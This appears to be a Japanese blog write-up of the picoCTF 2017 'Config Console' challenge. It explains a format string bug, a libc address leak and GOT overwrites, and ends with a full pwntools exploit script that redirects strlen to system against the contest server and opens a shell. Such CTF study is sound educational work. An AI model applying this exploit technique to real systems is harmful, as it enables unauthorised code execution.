更新日時で差をつけろ

むしろ差をつけられている

picoCTF 2017 「Config Console」を解いた

ソースが渡される。良心。
残念なことにlibcのリークがわからなかったのでwrite-upを探すと、ret2libcしたりOne-gadget RCEを使ったりいろいろ解法があった。
https://hgarrereyn.gitbooks.io/th3g3ntl3man-ctf-writeups/2017/picoCTF_2017/problems/binary/Config_Console/Config_Console.html
https://github.com/Caesurus/PicoCTF2017/tree/master/L3_ConfigConsole
やってる最中は$を抜かしたりアドレスを同じ値で書き換えているのに気づかなかったりで注意力のなさを実感した。
めっちゃ時間かかった。慣れないなぁ

とりあえずchecksec。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

Format string bugset_exit_message()にある。
ただx86-64なので、rsi, rdx, rcx ... と出力したあとにようやくスタックの内容が出力されることに注意する。こんな感じ。

Config action: edit AAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
 
AAAA
0x7ffff7dd07a3(rsi)
0x7ffff7dd1880(rdx)
0x7ffff7af9054(rcx)
0x7ffff7fb1740(r8)
0x7ffff7fb1740(r9)
 
(nil)($esp)
0x7fffffffd915($esp+0x8)
0x7fffffffdd20(saved rbp)
0x400aa6(return address)
0x7ffff7ffd9d0
0x7fffffffd910
0x7fffffffd910
0x7fffffffd915
0x4141410074696465("edit", "AAA...") 0x2070252070252041 0x7025207025207025 0x2520702520702520

NX bitが有効かつPLTにはsystemがないので、ret2libcかGOT Overwriteを使うことになりそう。手順をまとめると、

  • exit@pltloopに飛ぶようにGOT Overwrite(%14$pで入力した文字列にアクセスできる)
    • こうすれば何度もFSBで攻撃できるが、set_exit_messageloopにreturnすることなく直接exitを呼んでいるのでleaveが呼ばれずスタックがどんどんずれていく
    • それゆえret2libcで書き込むリターンアドレスを計算するのはややこしそうなのでGOT Overwriteでやってみる
  • libcのリーク
    • %2$prdxレジスタに入った__IO_stdfile_1_lockのアドレスが出る(ここからwrite-up見た)
  • set_promptから呼ばれるstrlen@pltsystemに書き換え
    • 入力が引数に渡されるのでちょうど良い

全部FSB脆弱性として使える。
が、0x00000000 00400920といったアドレスを入れようとするとNULL文字として扱われてそこで文字列が終端してしまうのでアドレスは最後に書く。フォーマット部分にはアドレスをうまく%hnなどで参照できるようにpaddingを入れる必要がある。x86と違って低位のアドレスではこういうことが起こる。
%2$lxを使えば0xがつかないのでちょっとだけ楽。

__IO_stdfile_1_lockのアドレス0x7ffff7dd1880は下を参照するとmappedという領域に入っているが、気にせずlibcからのオフセットを計算すると0x3dc880となる。

gdb-peda$ vmmap
Start              End                Perm  Name
0x00400000         0x00401000         r-xp    /home/sei0o/ctf/pico2017/configconsole/console
0x00601000         0x00602000         rw-p  /home/sei0o/ctf/pico2017/configconsole/console
0x00602000         0x00623000         rw-p  [heap]
0x00007ffff79f5000 0x00007ffff7bcb000 r-xp    /lib/x86_64-linux-gnu/libc-2.26.so
0x00007ffff7bcb000 0x00007ffff7dcb000 ---p  /lib/x86_64-linux-gnu/libc-2.26.so
0x00007ffff7dcb000 0x00007ffff7dcf000 r--p  /lib/x86_64-linux-gnu/libc-2.26.so
0x00007ffff7dcf000 0x00007ffff7dd1000 rw-p  /lib/x86_64-linux-gnu/libc-2.26.so
0x00007ffff7dd1000 0x00007ffff7dd5000 rw-p  mapped
0x00007ffff7dd5000 0x00007ffff7dfc000 r-xp    /lib/x86_64-linux-gnu/ld-2.26.so
...

…はずで、実際にローカルでは動いたが問題サーバに投げるとSEGVした。libcが合っていなくてオフセットもおかしくなっていたのだろう。
write-upを見ると「問題サーバにはsshでログインして、リモートのlibcでgdb上で動かしてアドレスを見る」とのこと。
pedaが入っていなかったのでlibcのベースアドレスはcat /proc/(プロセスID)/mapsで見た。
ヴァネロペさんのアドカレの記事で紹介されていたrax2を使ってオフセットを計算すると0x3a77a0となった。便利。

$ rax2 -k 0x7f362782a7a0-0x7f362744df20
0x3a77a0

はじめ「mappedって書いてるってことはライブラリの領域ではないのかな??」と考えたが、gdb__IO_stdfile_1_lock周辺を表示してみるとfree_listlockというlibcに関係ありそうな名前がたくさん出てきたのでそういう領域なのだろう。たぶん(ググったけど出てこなかった)

いろいろ探しているうちにobjdump -p libc.so.6でlibcのバージョンが見られることを知った。Linuxの共有ライブラリは実行できるので直接$ ./libc.so.6としても情報が見られる。
さらにLD_PRELOADという環境変数を使えば実行時に動的リンクするライブラリを決められることも知った。
ん?昔参加したセキュリティ・ミニキャンプの「ウイルスを検知してみよう」的な講座でこんなことをした気が...いや関係ない気が...

Exploit

pwntoolsを初めて使った。
# 0xaaaa -> 2 byte -> 16 bitとかいう頭の悪そうなコメント。
pwntools使い方 まとめ

from pwn import *
 
#c = remote('localhost', 62000)
c = remote('shell2017.picoctf.com', 42132)
 
# overwrite exit of GOT
exit_got = 0x601258 # the original value is 0x400736, so we don't have to overwrite the higher part (0x0400)
 
payload  = "e "
payload += "%2491xAA%16$hn" # 2491 = 0x9bd - 2 (0x4009bd ... function loop, 2 <- "AA"(padding))
payload += p64(exit_got)
payload += "\n"
 
c.recv()
c.send(payload)
 
# leak libc address
payload  = "e %2$p\n"
c.send(payload)
 
c.recvuntil("set!")
c.recvuntil("set!")
libc_stdfile_lock = int(c.recv(15)[3:], 16)
libc_base = libc_stdfile_lock - 0x3a77a0 # offset
 
log.info("Libc Base: %s" % hex(libc_base))
 
# overwrite strlen@plt
strlen_got = 0x601210
system_offset = 0x41490
system_addr = libc_base + system_offset
 
payload  = "e "
payload += "%" + str(system_addr & 0xffff) + "x"
payload += "%16$hn"
payload  = payload.ljust(16, "A") # padding
payload += p64(strlen_got)
payload += "\n"
c.send(payload)
 
payload  = "e "
payload += "%" + str((system_addr >> 16) & 0xffff) + "x" # 0xaaaa -> 2 byte -> 16 bit
payload += "%16$hn"
payload  = payload.ljust(16, "A")
payload += p64(strlen_got + 2)
payload += "\n"
c.recvuntil("set!")
c.send(payload)
 
payload  = "e "
payload += "%" + str((system_addr >> 32) & 0xffff) + "x"
payload += "%16$hn"
payload  = payload.ljust(16, "A")
payload += p64(strlen_got + 4)
payload += "\n"
c.recvuntil("set!")
c.send(payload)
 
# enter shell
c.recv()
c.send("p /bin/sh\n")
 
time.sleep(0.3)
c.interactive()